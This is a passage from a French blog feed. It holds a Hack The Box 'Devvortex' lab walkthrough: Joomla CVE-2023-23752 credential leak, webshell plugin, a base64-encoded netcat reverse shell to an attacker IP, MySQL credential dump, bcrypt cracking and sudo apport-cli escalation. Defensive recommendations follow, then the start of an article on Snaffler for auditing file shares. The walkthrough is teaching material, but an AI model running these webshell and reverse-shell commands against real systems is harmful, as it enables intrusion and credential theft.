|_http-title: Did not follow redirect to http://devvortex.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

Seuls deux services sont exposés sur le réseau. Nous pouvons également remarquer que l'outil nmap a été interroger le service web et que celui-ci lui a renvoyé une redirection vers http://devvortex.htb/. La commande suivante permet de l'ajouter à notre fichier /etc/hosts pour que notre système puisse le retrouver :

$ echo "10.10.11.242 devvortex.htb" |sudo tee -a /etc/hosts

Il s'agit d'un vhost (voir cet article : Les vHosts sous Apache2). Peut-être le service web en contient-il d'autres, mais comment le savoir ? Ceux-ci ne sont affichés ou indexés nulle part pour le moment. J'utilise donc une technique qui va me permettre d'énumérer les vhosts potentiels à l'aide d'un dictionnaire de mot :

Technique d'attaque (MITRE ATT&CK) : T1595.003 - Active Scanning: Wordlist Scanning

$ ffuf -w $s/Discovery/DNS/subdomains-top1million-20000.txt -u http://devvortex.htb/ -H "Host: FUZZ.devvortex.htb" --fc 302
dev [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 63ms]

La liste de mot (wordlist) utilisée ici est celle de la ressource SecLists, de Daniel Miessler. J'ai ajouté sur mon système une variable "s" qui contient le chemin d'accès vers ces listes (/usr/share/seclists) pour gagner en efficacité.

Via cette énumération de vhost, l'outil ffuf que j'utilise va effectuer des requêtes en changeant à chaque essai le sous domaine dans la requête suivante, mais en interrogeant toujours la même IP, le même service web :

GET / HTTP/1.1
host: FUZZ.devvortex.htb

En identifiant des variations dans la taille de la réponse, les codes de réponse HTTP ou le nombre de lignes/mots dans la réponse, nous pourrons identifier de nouveaux vhosts existants, car 99% des requêtes obtiendront la même réponse d'erreur, sauf pour les vhost existants. Ici, ffuf nous permet d'identifier le vhost dev.devvortex.htb. Que l'on rajoute également à notre fichier /etc/host :

echo "10.10.11.242 dev.devvortex.htb" |sudo tee -a /etc/hosts

Cela peut paraître contre-intuitif de s'intéresser à l'énumération de vhost plutôt que directement aller se renseigner sur ce que fait l'application web principale qui pourrait elle-même contenir des vulnérabilités. Néanmoins, foncer tête baissée sur la première brèche potentielle ou service croisé est un piège qu'il faut savoir éviter. Respecter une méthodologie est très important, notamment lors des phases d'énumération, afin de ne se fermer aucune porte et d'avoir encore de la matière à travailler lorsque nos premières attaques ne sont pas fructueuses.

Soyez sûr d'avoir toutes les cartes (informations) en main avant d'attaquer.

B. Exploitation d'un Joomla non à jour

Voyons à quoi ressemble ce site web en développement :

Il s'agit visiblement d'un site vitrine, dont l’apparence est plutôt commune. L'utilisation d'un CMS (Content Management System) comme WordPress, Joomla ou Drupal est très probable. Nous pouvons valider la présence de ces CMS par la présence de dossiers ou fichiers qui les caractérisent. Par exemple, le contenu du fichier robots.txt :

$ curl http://dev.devvortex.htb/robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /api/
[...]

Pas de doute, il s'agit bien d'un CMS Joomla. En parallèle du déroulement de ma méthodologie propre à Joomla, je lance l'outil nuclei :

Technique d'attaque (MITRE ATT&CK) : T1595 - Active Scanning: Vulnerability Scanning

Nuclei est un scanner de vulnérabilité web open source très intéressant. Il se compose de nombreux modules créés par la communauté. Chaque module est propre à une fuite d'information, une CVE ou une mauvaise configuration précise. La détection se porte notamment sur la détection de mots-clés dans une réponse ou la présence d'un fichier caractéristique d'une CVE/défaut de configuration.

C'est un outil intéressant à lancer en parallèle des opérations manuelles puisqu'il peut vérifier un grand nombre de choses en peu de temps, même les plus improbables.

Manuellement, je récupère la version de Joomla, là aussi grâce à des fichiers qui contiennent classiquement cette information :

$ curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | xmllint --format -                                                                                                  
<?xml version="1.0" encoding="UTF-8"?>
<extension type="file" method="upgrade">
  <name>files_joomla</name>
  <author>Joomla! Project</author>
  <authorEmail>[email protected]</authorEmail>
  <authorUrl>www.joomla.org</authorUrl>
  <copyright>(C) 2019 Open Source Matters, Inc.</copyright>
  <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
  <version>4.2.6</version>
  <creationDate>2022-12</creationDate>

Avec cette version, nous pouvons effectuer une recherche sur les vulnérabilités connues grâce à searchsploit (voir Recherche rapide dans la base Exploit-DB avec searchsploit) :

La CVE impacte la version 4.2.8 (et probablement les précédentes) et notre version de Joomla est la 4.2.6, voilà qui est intéressant. Il s'agit d'une fuite d'information sans authentification. Si l'on regarde de plus près les résultats de nuclei, il a également remonté cette information (CVE) et nous indique le lien d'accès à la fuite d'information :

$ nuclei -u http://dev.devvortex.htb/                                                                                                                                                                                  
                                                                                                                                                                                                                                      
[...]                                                                                                                                                                                  
[CVE-2023-23752] [http] [medium] http://dev.devvortex.htb/api/index.php/v1/config/application?public=true                                                                                                                             
[...]                                                                                                                                                                     
[joomla-detect:version] [http] [info] http://dev.devvortex.htb/administrator/manifests/files/joomla.xml [4.2.6]                                                                                                                       
[...]

En se rendant sur cette URL (ou en utilisant le script indiqué par searchsploit), nous obtenons effectivement une belle fuite d'informations :

Technique d'attaque (MITRE ATT&CK) : T1190 - Exploit Public-Facing Application

Un login et un mot de passe ! Mon premier réflexe est de les essayer sur l'accès SSH, mais ils donnent en fait accès au panel d'administration du Joomla :

Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts

C. Exécution de commande sur le système

L'administrateur du CMS peut naturellement tout faire, même rajouter un plugin qui lui donnera accès à un webshell PHP. Il en existe des prêts à l'emploi sur GitHub : https://github.com/p0dalirius/Joomla-webshell-plugin

Attention, dans un contexte réel de test d'intrusion (au sens prestation de service), évitez d'utiliser des codes tout fait trouvés sur Internet pour ce genre d'opération. Vous n'êtes pas à l'abri d'un malin qui en profiterait pour utiliser cet accès comme une backdoor pour lui-même, ou qui aurait injecté un code destructeur pour le système cible. Vous devez maîtriser les outils utilisés (faire une revue de code avant utilisation, ou faire votre propre plugin).

Je rajoute donc ce plugin, qui me donne accès à un webshell en PHP :

Technique d'attaque (MITRE ATT&CK) : T1059.004 - Command and Scripting Interpreter: Unix Shell

$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"

$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=echo%20cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE2LjIxIDkwMDEgPi90bXAvZgo=|base64%20-d|bash"

Vous devez vous interroger sur la deuxième commande. Il s'agit en fait d'une commande encodée en base64. Je génère une commande qui l'affiche avec echo, puis qui la décode et enfin qui exécute le résultat obtenu. Cela me permet d'injecter du code "complexe" sans me soucier des quotes, espaces et autres caractères spéciaux. La commande originale (décodée) est la suivante :

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.21 9001 >/tmp/f

Cette commande crée un pipe et établie une connexion réseau vers l'adresse IP 10.10.16.21 sur le port 9001 (ma machine d'attaque), puis redirige un shell interactif vers cette connexion, permettant un accès distant au système.

L'utilisation de l'encodage base64 est une technique très commune et tellement connue que bon nombre de produits de sécurité considèrent maintenant l'utilisation de la commande base64 comme suspecte, ce qui entraîne des alertes de sécurité.

Après avoir mis un netcat en écoute sur le port 9001 de ma machine, je me retrouve donc avec un accès en tant que www-data sur le serveur :

$ nc -lvp 9001
listening on [any] 9001 ...
connect to [10.10.16.21] from devvortex.htb [10.10.11.242] 49096
sh: 0: can't access tty; job control turned off
$ whoami
www-data

D. Vol des identifiants de l'utilisateur logan

Maintenant que nous avons une première main sur le système, intéressons-nous aux processus et services exécutés. J'utilise la commande netstat pour récupérer les services qui ont un port en écoute :

Technique d'attaque (MITRE ATT&CK) : T1049 - System Network Connections Discovery

$ netstat -petulan |grep "LISTEN"
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      0          23392      883/nginx: worker p 
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      101        22905      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          24155      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      114        25609      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      114        25611      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      0          23393      883/nginx: worker p 
tcp6       0      0 :::22                   :::*                    LISTEN      0          24166      -           

Nous voyons, en plus de services que nous connaissons déjà, un service MySQL. Nous avons auparavant récupéré des identifiants que nous pouvons tester sur ce service. Par exemple, pour lister les données de la table "users" du CMS Joomla :

Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts

$ mysql -u lewis -p"P4ntherg0t1n5r3c0n##" -e "use joomla; select * from sd4fg_users"
mysql: [Warning] Using a password on the command line interface can be insecure.
id      name    username        email   password        block   sendEmail       registerDate    lastvisitDate   activation      params  lastResetTime   resetCount      otpKey  otep    requireReset    authProvider
649     lewis   lewis   [email protected]     $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u    0       1       2023-09-25 16:44:24     2023-11-26 10:34:39     0               NULL    0                       0
650     logan paul      logan   [email protected]     $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12    0       0       2023-09-26 19:15:42     NULL            {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"}     NULL    0                       0

Nous étions passés à côté de cette information lorsque nous avons eu accès au panel d'administration Joomla, un second utilisateur est présent et nous venons de récupérer le hash de son mot de passe.

Le code d'identification d'un hash, tel que le $2y$, est généralement utilisé pour indiquer l'algorithme de hachage et la version utilisés pour générer l'empreinte. Ici, $2y$ indique que l'empreinte a été générée à l'aide de l'algorithme bcrypt. Il n'est cependant pas obligatoire pour tous les algorithmes.

Vous trouverez une liste très complète des types de hash ainsi que des exemples de format sur le site d'hashcat : https://hashcat.net/wiki/doku.php?id=example_hashes

Nous aurions également pu avoir cette information en utilisant l'outil hashid :

$ hashid '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'                                                                                                                                                      
Analyzing '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'                                                                                                                                                                    
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt 

Utilisons l'outil johntheripper pour casser ce hash et retrouver le mot de passe qui a permis de le générer :

Technique d'attaque (MITRE ATT&CK) : T1110.002 - Brute Force: Password Cracking

$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/x
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (?)
1g 0:00:00:05 DONE (2023-11-26 21:55) 0.1834g/s 257.6p/s 257.6c/s 257.6C/s dianita..harry
Use the "--show" option to display all of the cracked passwords reliably

Vous noterez que John The Ripper possède lui aussi sa propre méthode de reconnaissance des hash puisqu'il a deviné tout seul qu'il s'agissait de bcrypt. J'utilise également la wordlist "rockyou.txt" comme dictionnaire pour casser ce mot de passe.

Le fichier "rockyou.txt" est un dictionnaire de mots de passe qui a gagné en notoriété en raison de sa taille et de son utilisation fréquente dans les challenges cybersécurité. Son nom vient du fait qu'il a été créé à partir de données compromises de RockYou. En 2009, cette entreprise a subi une fuite d'information où des millions de mots de passe d'utilisateurs ont été compromis. Les données ont ensuite été rendues publiques sur Internet, et le fichier "rockyou.txt" a été créé en utilisant ces informations.

Il contient 14 344 391 mots de passe couramment utilisés, souvent faibles en complexité.

Nous avons donc le mot de passe de l'utilisateur "logan" sur le CMS Joomla, utilise-t-il également ce mot de passe pour son accès SSH ?

Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH

$ ssh [email protected]
logan@devvortex:~$ cat user.txt
8[REDACTED1

La réponse et oui, sans surprise l'utilisateur réutilise le même mot de passe entre plusieurs services. Nous voilà avec le premier flag et un accès utilisateur au système.

E. Élévation de privilèges via apport-cli et sudo

Quels pourraient être les privilèges et accès spéciaux de l'utilisateur logan ? Je remarque qu'il possède une dérogation d'utilisation de la commande /usr/bin/apport-cli en tant que root via sudo :

Technique d'attaque (MITRE ATT&CK) : T1033 - System Owner/User Discovery

logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli

Je ne connais pas du tout cette commande, regardons son aide avec l'option --help:

logan@devvortex:~$ /usr/bin/apport-cli --help           
Usage: apport-cli [options] [symptom|pid|package|program path|.apport/.crash file]    
           
Options:   
  -h, --help            show this help message and exit 
  -f, --file-bug        Start in bug filing mode. Requires --package and an           
         optional --pid, or just a --pid. If neither is given,         
         display a list of known symptoms. (Implied if a single        
         argument is given.)             
[...]
  -v, --version         Print the Apport version number.      

logan@devvortex:~$ /usr/bin/apport-cli -v
2.20.11

La lecture de l'aide de la commande (tronquée ci-dessus) ainsi que quelques recherches nous font comprendre qu'elle permet de remplir des tickets de bug à destination des développeurs. Elle dispose notamment d'un mode interactif à l'aide de l'option "-f". Nous pouvons également identifier sa version exacte avec l'option "-v". Je découvre que la CVE-2023-1326 (score CVSS3 : 7.8) affecte cette version :

Visiblement, apport-cli utilise less, une commande qui parait simple et inoffensive, mais qui est en réalité dangereuse lorsque utilisée avec sudo. Less dispose, en effet, d'une fonctionnalité d'exécution de commande :

Ressource : https://gtfobins.github.io/ est une excellente ressource à connaitre. Ce site liste les exploitations possibles des binaires connus sous Linux. C'est très utiles pour savoir quelles sont les fonctionnalités "cachées" et dangereuses d'un binaire exécuté via sudo ou un bit setuid (lire/ écrire dans un fichier privilégié ou pour exécuter des commandes). Ce site peut être utile également aux blue teams pour savoir si les binaires utilisés ou présents sur un système présentent un risque.

https://gtfobins.github.io/

Technique d'attaque (MITRE ATT&CK) : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Le binaire apport-cli est donc exécuté en tant que root via sudo et utilise less, qui présente des exploitations possibles pour exécuter des commandes, voilà qui nous intéresse. La première étape consiste donc à lancer apport-cli via sudo, qui nous demande le mot de passe de logan. Ensuite, on utilise le mode interactif de apport-cli (-f) et un mode "view report" (-v) nous est proposé, c'est certainement à ce moment-là que less intervient :

Et nous voilà avec les droits root sur le système ! L'attaquant peut alors en faire ce qu'il veut, récupérer toutes les données et les identifiants qui y trainent, installer un keylogger ou l'utiliser comme rebond vers le SI interne, après tout, il est root !

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)	Détails
T1046 - Network Service Discovery	Utilisation de nmap pour découvrir les services exposés sur le réseau
T595.003 - Active Scanning: Wordlist Scanning	Utilisation de ffuf pour énumérer les vhost du service web
T1595 - Active Scanning: Vulnerability Scanning	Identification de la version et recherche des CVE associées
T1190 - Exploiting Public-Facing Application	Exploitation de la CVE-2023-23752 pour récupérer des informations d'authentification
T1078.003 - Valid Accounts: Local Accounts	Récupération et découverte d'identifiants dans un fichier sqlite.
T1021.004 - Remote Services: SSH	Connexion au serveur SSH compromis
T1059.004 - Command and Scripting Interpreter: Unix Shell	Ajout d'un plugin PHP Joomla en vue d'obtenir une exécution de commande sur le système
T1049 - System Network Connections Discovery	Revue des services en écoute sur la cible via netstat et détection d'un service MySQL
T1078.003 - Valid Accounts: Local Accounts	Connnexion au service MySQL via les identifiants préalablement récupérés et récupération d'un hash du mot de passe de l'utilisateur logan
T1110.002 - Brute Force: Password Cracking	Cassage du hash avec johntheripper
T1021.004 - Remote Services: SSH	Authentification en tant que logan sur le service SSH
T1033 - System Owner/User Discovery	Découverte des dérogations sudo pour l'utilisateur courant
T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching	Exploitation de l'utilisation cachée de less par le binaire apport-cli via sudo

IV. Notions abordées

A. Côté attaquant

L'énumération de vhost peut apparaitre comme une étape secondaire, mais elle doit faire partie de votre méthodologie d'énumération. Il est aujourd'hui rare de croiser un service Apache ne faisant tourner qu'un seul site. L'énumération de vhost peut notamment permettre de trouver des applications web non référencées comme celles en développement.

Il est important pour un attaquant de savoir récupérer le plus d'informations possibles sur sa cible afin d'avoir une vue la plus complète possible de la surface d'attaque d'un système, d'un simple script ou d'un réseau entier. Savoir identifier une version exacte et rechercher les CVE associées peut paraitre simple, mais il est très facile de passer à côté de ce type d'information pendant la phase d'énumération. Phase durant laquelle nous avons en général un grand nombre d'informations à vérifier et à collecter.

La collecte et la récupération d'identifiants est également une opération qui doit être réalisée avec minutie. Je vous recommande pendant vos challenges et prestations de scrupuleusement stocker les identifiants récupérés. Également, il est important de réutiliser ces identifiants sur tous les services croisés. La réutilisation des mots de passe entre différents services est quasiment la norme (malheureusement) en entreprise, sans compter les services de SSO qui sont faits pour n'avoir qu'un mot de passe à retenir. Cela peut sembler simple, mais la collecte d'identifiants étant réalisée tout au long de l'attaque, il est facile d'oublier de réutiliser ceux-ci sur tous les services disponibles.

Enfin, connaitre les bonnes ressources est primordiale. Vu le nombre d'informations stockées sur https://gtfobins.github.io/, vous constaterez vite qu'il est impossible de tout retenir et encore moins de se maintenir à jour. Plutôt que de retenir 1 000 informations, il est parfois plus efficace se rappeler les sources où les trouver.

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : nous pouvons recommander l'application stricte de la directive n°34 du Guide d'hygiène de l'ANSSI : Définir une politique de mise à jour des composants du système d’information. Les applicatifs et systèmes exposés sur le réseau ou sur Internet sont d'autant plus concernés par ce besoin de mise à jour rapide puisqu'ils peuvent être exploités par les attaquants dès la parution d'un code d'exploitation.

Recommandation n°2 : il doit également être recommandé d'utiliser un autre serveur web que le serveur web de production, exposé à internet, pour héberger le site web en développement. Les services en développement sont souvent moins bien protégés et sécurisés que les services en production (la sécurité est souvent le dernier wagon à être rattaché à un projet). Ces environnements en développement sont dans la réalité des cibles très recherchées par les attaquants et ne doivent donc pas être exposés à Internet et être strictement cloisonnés des services et réseau de production.

Recommandation n°3 : Il peut également être recommandé la mise en place d'une politique de mot de passe plus robuste. Pouvoir casser un hash, généré par algorithme de calcul robuste comme bcrypt, en quelques secondes via la wordlist la plus commune est un signal fort que les mots de passe utilisateur ne sont pas suffisamment contraints dans leur complexité. Cela va dans le sens de la directive n°10 du Guide d'hygiène de l'ANSSI : Définir et vérifier des règles de choix et de dimensionnement des mots de passe. Le guide Recommandations relatives à l'authentification multifacteur et aux mots de passe, de l'ANSSI, plus spécifique et complet sur ce sujet, peut également être une ressource à conseiller.

V. Conclusion

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord :).

Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Hack The Box – Résoudre la box Devvortex : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.

I. Présentation

Dans cet article, nous allons explorer la problématique du stockage d'informations sensibles dans les partages de fichiers d'un système d'information et des conséquences que la mauvaise gestion des permissions et les négligences humaines peuvent avoir. Je vous partagerai mon retour d'expérience à ce sujet et notamment pourquoi il s'agit d'un incontournable dans le mode opératoire d'un attaquant lors d'une cyberattaque.

Nous allons également apprendre à utiliser l'outil Snaffler, qui peut être utilisé par la blue team (équipe de défense du SI) afin d'avoir une démarche proactive sur ce sujet et complémentaire vis-à-vis des autres bonnes pratiques de sécurité que nous allons évoquer.

Snaffler est un outil qui permet d'automatiser la recherche d'informations sensibles dans tous les partages de fichiers des systèmes du domaine. Cela grâce à de la découverte automatique de partage ainsi que des règles pré-conçues et personnalisables.

II. Partage réseau et informations sensibles

Les diverses missions que j'ai accomplies en tant qu'auditeur en cybersécurité et pentester m'ont conduit à la conclusion suivante : il est presque impossible de garantir qu'une donnée sensible n'est pas accessible à un utilisateur non légitime dans les partages réseau.

La recherche de fichiers contenant des mots de passe ou des données techniques sensibles est toujours une opération fructueuse via un compte authentifié sur le domaine.

La multitude de groupes, sites géographiques, permissions, ACL, partages, dossiers et sous-dossiers multipliée par la négligence, les mauvaises pratiques humaines et l'historique du SI font que dès qu'un attaquant compromet un compte utilisateur sur un domaine, il parvient à obtenir des identifiants grâce à une recherche d'information dans les partages de fichier. Ces identifiants peuvent être stockés dans :

• des fichiers bureautiques;
• des fichiers textes;
• des coffres-fort de mots de passe;
• des fichiers de configuration;
• le code source d'une application web;
• des disques dur de machines virtuelles;
• des archives contenant un ou plusieurs des items précédents;
• etc.

Le stockage d'informations sensibles dans les partages réseau des serveurs d'une entreprise est plutôt commun. C'est exactement le but de ces services : stocker les informations critiques de l'entreprise sur ses propres serveurs, au sein de son propre système d'information.

Cependant, c'est la gestion des permissions d'accès à ces informations qui pose majoritairement un problème. Une fois que l'attaquant obtient un compte valide du domaine, il peut alors profiter des droits de cet utilisateur, les groupes métiers auquel il appartient donneront de fait accès aux données relatives à son contexte métier.

Ça, c'est dans le meilleur des cas. Dans la réalité, le fait de disposer de n'importe quel compte utilisateur valide sur le domaine permet de profiter des droits permissions aux groupes "Tout le monde" et "Utilisateurs authentifiés". Ce sont les droits accordés à ces groupes sur les partages de fichiers qui sont généralement beaucoup trop permissifs. Et pour cause, lorsque l'on souhaite partager un dossier, celui-ci intègre par défaut une ACL de lecture sur le groupe "Tout le monde" (qui comprend "Utilisateurs authentifiés"), qu'il faut manuellement supprimer :

Pour rappel, Le groupe "Authenticated Users/Utilisateurs authentifiés" englobe tous les utilisateurs dont l'authentification a été vérifiée lors de leur connexion. Cela inclut à la fois les comptes d'utilisateurs locaux et ceux provenant de domaines de confiance. Le groupe "Tout le monde" inclut tous les membres du groupe "Utilisateurs authentifiés" ainsi que le compte intégré Invité, et divers comptes de sécurité intégrés (SERVICE, LOCAL_SERVICE, etc.).

Il faut aussi intégrer le fait que plus l'attaquant compromettra de compte utilisateur, plus il profitera des nouveaux privilèges obtenus pour accéder à de nouveaux partages et dossiers réseau en fonction des groupes d'appartenances des groupes compromis.

Par négligence, facilité ou ignorance des conséquences, il est très fréquent que la plupart des partages de fichiers soient accessibles aux membres du groupe "Utilisateurs authentifiés" du domaine, c'est-à-dire tous les utilisateurs.

Également, il faut connaitre et noter la différence entre les permissions appliquées les partages réseau et les permissions NTFS (appliquées sur les dossiers et sous-dossiers de ces partages). Ces permissions NTFS permettent de gérer les permissions des différents dossiers à l'intérieur d'un partage de fichier, en autorisant ou interdisant l'accès à des dossiers spécifiques. Dans les faits, cela permet donc de définir de façon granulaire qui a accès à quel dossier, mais cela rajoute de la complexité de gestion qui peut mener à des erreurs, des oublis, etc.

Pour mieux comprendre la différence entre permissions NTFS et permissions des partages, je vous invite à consulter notre article à ce sujet : Serveur de fichiers – Les permissions NTFS et de partage, résumé dans la vidéo ci-dessous :

Il est à noter que par "informations sensibles", la première idée qui vient en tête est bien sûr le mot de passe d'un compte privilégié du domaine. Dans un contexte d'entreprise, il peut s'agit également de données métiers (secrets industriels), d'informations financières et bancaires, mais aussi d'informations personnelles (RGPD) concernant les clients ou les salariés de l'entreprise. Nous verrons par la suite que ce détail à une importance pour la red team (attaquant), mais aussi pour la blue team (défenseur) qui souhaite avoir une démarche proactive et rechercher elle-même l'exposition excessive de données dans les partages réseaux.

Lors d'une cyberattaque, pour accomplir cette tâche de manière complète, la red team doit opérer de la façon suivante :

1. Énumérer les hôtes du domaine.
2. Énumérer les services de partage de fichiers présents sur ces hôtes.
3. Énumérer les partages exposés et les permissions d'accès avec l'utilisateur courant.
4. Parcourir chaque dossier et chaque fichier accessible à la recherche d'informations sensibles.

Vous l'imaginez bien, cette tâche est fastidieuse et ne peut être menée à bien dans un délai raisonnable. C'est pourquoi des outils ont été créés pour l'automatiser de façon efficace. De plus, ces opérations sont fréquentes dans le mode opératoire des attaquants et disposent de leur propre TTP dans le framework MITRE ATT&CK, preuve qu'il s'agit d'un sujet à prendre au sérieux :

• T1135 - Network Share Discovery
• T1083 - File and Directory Discovery

Prenez notamment le temps de jeter un œil à la section "Procedure Examples" du TTP T1083. Cette section liste les cas avérés et documentés de cyberattaque ayant exploité ce TTP. Ici, près de 350 cas sont répertoriés.

III. Gestion des droits sur les partages réseaux : les bonnes pratiques standard

La gestion des permissions sur les partages réseau est une tâche à la base simple, qui devient très complexe dans un contexte réel d'entreprise. Il faut à la fois permettre la collaboration entre les utilisateurs, s'assurer que le principe de moindre privilège est respecté et garder un œil sur le respect des bonnes pratiques et directives données.

Le principe de moindre privilège est un concept fondamental en cybersécurité. Il consiste à n'accorder à un utilisateur, un processus ou un objet uniquement les privilèges nécessaires à l'accomplissement de ses tâches, et ce, sans accorder de droits superflus.

Ce principe vise à limiter les risques en réduisant la surface d'attaque potentielle. Il est souvent mis en avant lors de la gestion des droits d'accès pour souligner l'importance de mettre en place un modèle de privilèges granulaire, afin de minimiser les risques d'exploitation par des attaquants.

Les mesures "traditionnelles" de sécurité à prendre concernant la gestion des permissions d'accès aux partages de fichiers sont les suivantes :

• S'assurer que les partages de fichiers ne sont pas accessibles en mode anonyme : cela peut paraitre étonnant, mais c'est beaucoup plus fréquent qu'on ne le croit d'après mes expériences.
• Définir un modèle de droit clair et efficace, adapté au contexte de sécurité de l'entreprise. Pour trouver un modèle "standard" de sécurité, vous pouvez notamment consulter cet article sur la méthode AGDLP : AGDLP – Bien gérer les permissions de son serveur de fichiers.
• S'assurer d'avoir une équipe formée sur le sujet : la gestion des droits sur les partages de fichiers peut avoir quelques secrets. Il faut s'assurer que notre équipe est techniquement formée, mais qu'elle connait aussi les bonnes pratiques internes de l'entreprise afin de savoir s'il y est légitime que tel groupe accède à telle information. On peut citer la directive n°1 du guide d'hygiène de l'ANSSI : Former les équipes opérationnelles à la sécurité des systèmes d’information.
• Sensibiliser et former les utilisateurs concernant la manipulation, le stockage et la partage d'informations sensibles au quotidien, au sein d'une équipe ou avec des utilisateurs externes : On peut citer la directive n°2 du guide d'hygiène de l'ANSSI : Sensibiliser les utilisateurs aux bonnes pratiques élémentaires de sécurité informatique.
• Archiver les données qui ne sont plus utilisées afin de réduire la surface d'attaque. Il est évident que si une donnée n'est plus exposée, elle ne pourra être compromise.

Même avec toutes ces bonnes pratiques, qu'est-ce qui empêcherai un utilisateur de stocker le mot de passe du compte X (ex-Twitter) de l'entreprise dans un fichier texte sur le partage "\\SRV-FICHIER\Communs\Communication", pour l'échanger plus facilement avec ses deux collègues du pôle communication ?

IV. Démarche proactive de recherche d'informations sensibles dans les partages

A. Snaffler : automatiser la recherche d'informations sensibles

En complément des mesures et bonnes pratiques listées dans la section précédente, la blue team peut souhaiter avoir une démarche proactive et utiliser elle-même les outils et méthodes des attaquants. Cela dans le but de vérifier que les mesures de sécurité sont efficaces et bien implémentées au travers des vérifications régulières. C'est ici que Snaffler entre en jeu.

Snaffler est un exécutable plutôt simple d'utilisation au regard de la charge de travail qu'il permet d'économiser. Comme indiqué précédemment, dans son utilisation standard, celui-ci va

1. Se connecter à l'Active Directory et lister les objets "Ordinateur".
2. Se connecter à chaque ordinateur afin de lister les partages de fichiers exposés.
3. Vérifier les droits de lecture sur chacun des partages, dossiers et sous-dossiers avec l'utilisateur courant.
4. Lister les fichiers et sélectionner les plus intéressants.
5. Lire le contenu de chacun des fichiers accessibles dans ces partages en fonction des règles de recherche configurées.

À chaque étape de ce processus sont appliquées des règles de matching afin de déterminer si le partage, répertoire ou fichier est intéressant ou doit être mis de côté. Ce processus peut être schématisé de la façon suivante :

B. Utiliser Snaffler au sein d'un domaine Active Directory

Soyez vigilant à utiliser cet outil que si vous y êtes autorisé. Pour rappel : Code pénal : Chapitre III : Des atteintes aux systèmes de traitement automatisé de données

Maintenant que nous avons introduit le sujet, passons à l'action. Il faut bien sûr commencer par télécharger l'exécutable depuis son dépôt Github : Github - Snaffler.

Attention, il faut également savoir que le binaire "Snaffler.exe" peut être détecté comme malveillant par certains EPP et EDR, le binaire étant autant utilisé par les défenseurs que par les attaquants, il est normal que des solutions de sécurité le catégorisent ainsi :

D'après cette analyse VirusTotal réalisée sur la dernière version de Snaffler, 43 des 73 produits de sécurité utilisés considèrent le binaire comme malveillant. Il faudra donc certainement passer par une mise en liste blanche du binaire.

Snaffler est open-source, vous pouvez donc étudier son code source avant exécution sur votre système d'information.

Le plus simple pour avoir une vue rapide de ses capacités et de l'exécuter depuis un poste du domaine avec un utilisateur "non privilégié" du domaine.

